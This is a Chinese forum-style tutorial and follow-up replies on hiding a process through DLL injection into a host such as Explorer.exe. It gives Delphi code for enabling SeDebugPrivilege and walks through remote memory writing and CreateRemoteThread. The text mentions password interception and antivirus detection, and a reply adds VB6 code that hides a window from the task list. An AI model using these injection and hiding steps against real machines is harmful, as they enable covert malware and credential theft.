隐藏进程现在常用的是进程插入技术，找一个进程：如Explorer.exe，将自身隐藏在这个进程之内
不过这样的代码还是会被杀毒软件发现，代码就用现成的了：
第一步，提升本进程的系统权限。
因为我们要操作的是系统中的其他进程，没有足够的系统权限是无法读取甚至写入其他进程的内存地址的。提升进程权限可能用到以下的函数：
1．函数OpenProcessToken(
HANDLE ProcessHandle, // 进程的句柄
DWORD DesiredAccess, // 对进程的访问描述
PHANDLE TokenHandle // 打开进程令牌的句柄指针
);
这个函数的作用是打开进程令牌。
2．函数LookupPrivilegeValue（
LPCTSTR lpSystemName, //系统名称
LPCTSTR lpName, // 特权名称
PLUID lpLuid // 本地系统唯一的ID号
);
这个函数将会返回一个本地系统内独一无二的ID，来用于系统权限的更改，它的第1个参数是系统名，nil表示本系统。第2个参数是特权的名字。第3个参数用来接收函数返回的ID。
3．函数AdjustTokenPrivileges(
HANDLE TokenHandle, //更改权限的令牌环句柄
BOOL DisableAllPrivileges, //是否修改所有权限的标志位
PTOKEN_PRIVILEGES NewState, //新的系统权限信息
DWORD BufferLength, //上一个参数的长度
PTOKEN_PRIVILEGES PreviousState, // 返回更改系统特权以前的权限
PDWORD ReturnLength //上一个参数的长度
);
这个函数用于更改进程的系统权限 ，第1个参数是要更改权限的令牌环句柄。第2个参数如果为true表示更改所有的系统权限 ，false表示更改部分。第3个参数是要更改的系统特权的值。第4个参数是第3个参数的大小。第5个参数返回更改系统特权以前的权限，我们不需要就设为nil。第6个参数是第5个参数的大小。
把上面的东西合并起来写成一个函数，我们在其他代码中间直接调用PromoteDebugPrivilege就可以提升本进程的系统权限了。代码如下：
======================================================================
function PromoteDebugPrivilege(const PromoteEnabled: Boolean): Boolean;
var
hToken: THandle;
TokenPriv: TOKEN_PRIVILEGES;
Length: DWORD;
begin
Result := False;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken)) then
begin
TokenPriv.PrivilegeCount := 1;
LookupPrivilegeValue(nil, 'SeDebugPrivilege', TokenPriv.Privileges[0].Luid);
if PromoteEnabled then
TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
TokenPriv.Privileges[0].Attributes := 0;
Length := 0;
AdjustTokenPrivileges(hToken, False, TokenPriv, SizeOf(TokenPriv), nil, Length);
Result := GetLastError = ERROR_SUCCESS;
CloseHandle(hToken);
end;
end;
第二步，进入宿主的内存空间
在拥有了进入宿主程序内存的权限之后，我们所要做的是在其内存空间加入一些新的程序代码，或者是让其载入一个Dll文件里面的函数并运行起来。加入新的代码可以省掉一个dll文件，而加载dll文件可以安装一些系统级的钩子，如果我们的*程序是一个截获密码的程序，加载dll就是一个很好的选择。
Kernel32.dll中的函数LoadLibraryW可以加载dll，它只需要dll文件的文件路径就可以完成操作，我们可以很容易的在程序代码中实现取出一个文件路径的操作。但是，我们希望在宿主程序中加载，而我们取出的dll文件路径并不存在于宿主程序的内存空间里面，所以我们需要把dll的文件路径写入宿主的内存空间。这些操作可能用到以下的函数：
1．函数OpenProcess(
DWORD dwDesiredAccess, //访问标志
BOOL bInheritHandle, //继承句柄标志
DWORD dwProcessId // 进程Id
);
这个函数用于修改我们宿主进程的一些属性，这些属性放在第一个参数里面，比如PROCESS_VM_OPERATION就是允许远程VM操作，即允许VirtualProtectEx和WriteProcessMemory函数操作本进程内存空间。PROCESS_CREATE_THREAD 就是允许远程创建线程。PROCESS_VM_WRITE就是允许远程VM写，即允许 WriteProcessMemory函数访问本进程的内存空间。第二个参数是一个标志参数，用来确定返回的句柄是否可以被新的进程继承。我们的程序中设为False。第三个参数需要操作的进程Id，也就是我们的宿主进程的Id。
2．函数VirtualAllocEx(
HANDLE hProcess, //要进行操作的进程句柄，当然是我们的宿主了
LPVOID lpAddress, //分配空间的起始地址
DWORD dwSize, //分配空间的大小
DWORD flAllocationType, // 分配空间的类型
DWORD flProtect // 访问保护类型
);
我们使用 VirtualAllocEx函数在宿主进程中开辟一块内存空间，用于存放dll的文件名。VirtualAllocEx的第1个参数是要操作的进程，第2个是起始地址，第3个是长度，第4，5个是操作参数。其中MEM_COMMIT表示本函数分配的是物理内存或者是内存的页面文件，PAGE_READWRITE表示分配的区域内允许读写。
3．函数WriteProcessMemory (
HANDLE hProcess, //所要操作进程的句柄
LPVOID lpBaseAddress, //开始进行些操作的起始地址
LPVOID lpBuffer, //要写入数据的缓冲区指针
DWORD nSize, // 要写的bytes数
LPDWORD lpNumberOfBytesWritten // 实际写入的bytes数
);
前面在宿主内存中创建好空间后，现在往里面写入dll的名称，而我们的WriteProcessMemory函数就可以胜任这一项工作。WriteProcessMemory函数的第一个参数 是需要往其内存里面写入dd的进程句柄，第二个参数是 “要进行写操作”的目标内存起始地址，第三个参数是 “需要被写入的数据”的地址，第四个参数是准备要写入的长度，第五个参数是实际操作中写的长度，这个参数是被函数输出的。到这里我们就已经能成功把dll的路径名称写进了宿主的内存空间。
第三步，在宿主中启动新的线程！
刚才我们已经在宿主程序中创建了一个用于存放一个dll文件路径的缓冲区，现在我们就要让这个dll在宿主的内存空间中运行起来。我们是用LoadLibraryW函数来加载的，而使用LoadLibraryW，又需要知道LoadLibraryW函数的入口地址。所以在加载dll之前，我们要用GetProcAddress来得到LoadLibraryW的入口地址。我们来看看这几个函数的使用方法：
1．GetProcAddress(
HMODULE hMole, //dll模块的句柄
LPCSTR lpProcName // 函数名称
);
我们用这个函数主要想得到kernel32.dll中的函数LoadLibraryW的入口地址，所以
GetProcAddress(GetMoleHandle('Kernel32'), 'LoadLibraryW')就可以了，当然有些细节得符合程序编译器的要求，VC下使用就要改成
GetProcAddress(GetMoleHandle(TEXT("Kernel32")), "LoadLibraryW")的形式。
2．CreateRemoteThread (
HANDLE hProcess, //要进行操作的进程句柄，也就是我们的宿主句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, //线程安全属性的指针
DWORD dwStackSize, //初始化堆(stack)的大小
LPTHREAD_START_ROUTINE lpStartAddress,//新建线程函数的指针，或叫做地址
LPVOID lpParameter, //新建线程函数的参数
DWORD dwCreationFlags, //标志位
LPDWORD lpThreadId //线程返回值
);
这个函数就是本文的点睛之笔了，我们之前所做所有的一切，都是在为它做准备工作，它的功能就是在其他任何进程中创建新的线程，让其他的程序或进程附加执行我们的代码。

XP SP2 + VB6.0调试通过
要在一个系统进程中修改或者杀死另一个进程,需要做以下步骤：
1．提升进程自身身的权限，使之拥有高的特权级
2．搜索宿主进程
3．保存PCB
3．修改进程
4．如果出错，恢复PCB
这样解释你清楚了吗？
我想你可以把模块中的API的功能逐个了解一下，如果你不了解他们的作用，那么即使讲了也没有用，你可以去MSDN.microsoft上看一下相关的资料
type的API资料可以在FoxApi中查到

如果能够隐藏那微软的那些系统进程怎么没有隐藏勒
如果是有任务管理器里的用户程序隐藏还是可以的
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Call ShowWindow(GetWindow(Me.hwnd, 4), 0)
me.hwnd 是窗体的句柄
就算你进程能够隐藏还是可能通过API 全部扫描到的
包括扫描到你引用的第三方文件也能扫描到
不过太长了
这里不好发过来
